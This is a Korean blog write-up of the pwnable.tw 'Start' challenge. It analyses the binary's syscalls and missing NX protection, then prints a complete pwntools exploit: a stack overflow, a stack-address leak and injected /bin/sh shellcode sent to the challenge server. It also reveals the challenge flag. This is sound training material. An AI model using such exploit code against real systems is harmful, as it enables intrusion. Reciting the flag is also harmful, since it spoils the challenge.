Pwnable

[pwnable.tw] Start [100 pts]

Tjdmin1 2025. 3. 11. 11:20

https://pwnable.tw/challenge/#1

 

Pwnable.tw

Pwnable.tw is a wargame site for hackers to test and expand their exploiting skills.

pwnable.tw

Pwnable.tw의 첫번째 문제 start입니다.

 

Analyze


start 함수

Start Function

 

start 함수가 끝나고 나면 exit 함수를 호출해 프로그램을 종료 시킵니다.

syscall table ( https://rninche01.tistory.com/entry/Linux-system-call-table-%EC%A0%95%EB%A6%ACx86-x64 )

start 함수에선 4번 syscall로 출력 후 3번 syscall로 read를 해 줍니다.

 

실행을 해보게 되면 아래와 같은 문장이 출력되고 입력을 받습니다.

./start한 모습

 

보호 기법 Check

보호 기법

 

Attack Vector


일단 NX가 꺼져 있다는 점에서 Shellcode를 실행할 수 있다는 것이 가장 큰 포인트 입니다.

 

디버깅을 해보게 되면 exit 함수로 넘어가면 ESP 주소가 0xffffd4ac 값이 되는데 이때 ROP(Return-oriented programming)를 이용해서 출력 Syscall을 호출해주면 0xffffd4ac 주소 안에 있는 Stack 주소를 Leak 할 수 있을 것입니다.

Debug 화면

 

Stack 주소를 Leak 하게 되면 Shellcode를 집어 넣어서 shell을 호출할 수 있게 됩니다.

 

Exploit


from pwn import *

context.arch = 'i386'

r = remote('chall.pwnable.tw', 10000)
#p = process('./start')

shellcode = b'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80'

payload = b'A' * 20 # dummy
payload += p32(0x8048087)

r.sendafter(b"Let's start the CTF:", payload)

stack_addr = u32(r.recv(4)) - 0x4 # ecx
r.recv()
success(f'Stack Address : {hex(stack_addr)}')

payload = b'A' * 20 # duumy
payload += p32(stack_addr + 0x18) # shellcode address
payload += shellcode

r.send(payload)

r.interactive()

 

FLAG{Pwn4bl3_tW_1s_y0ur_st4rt}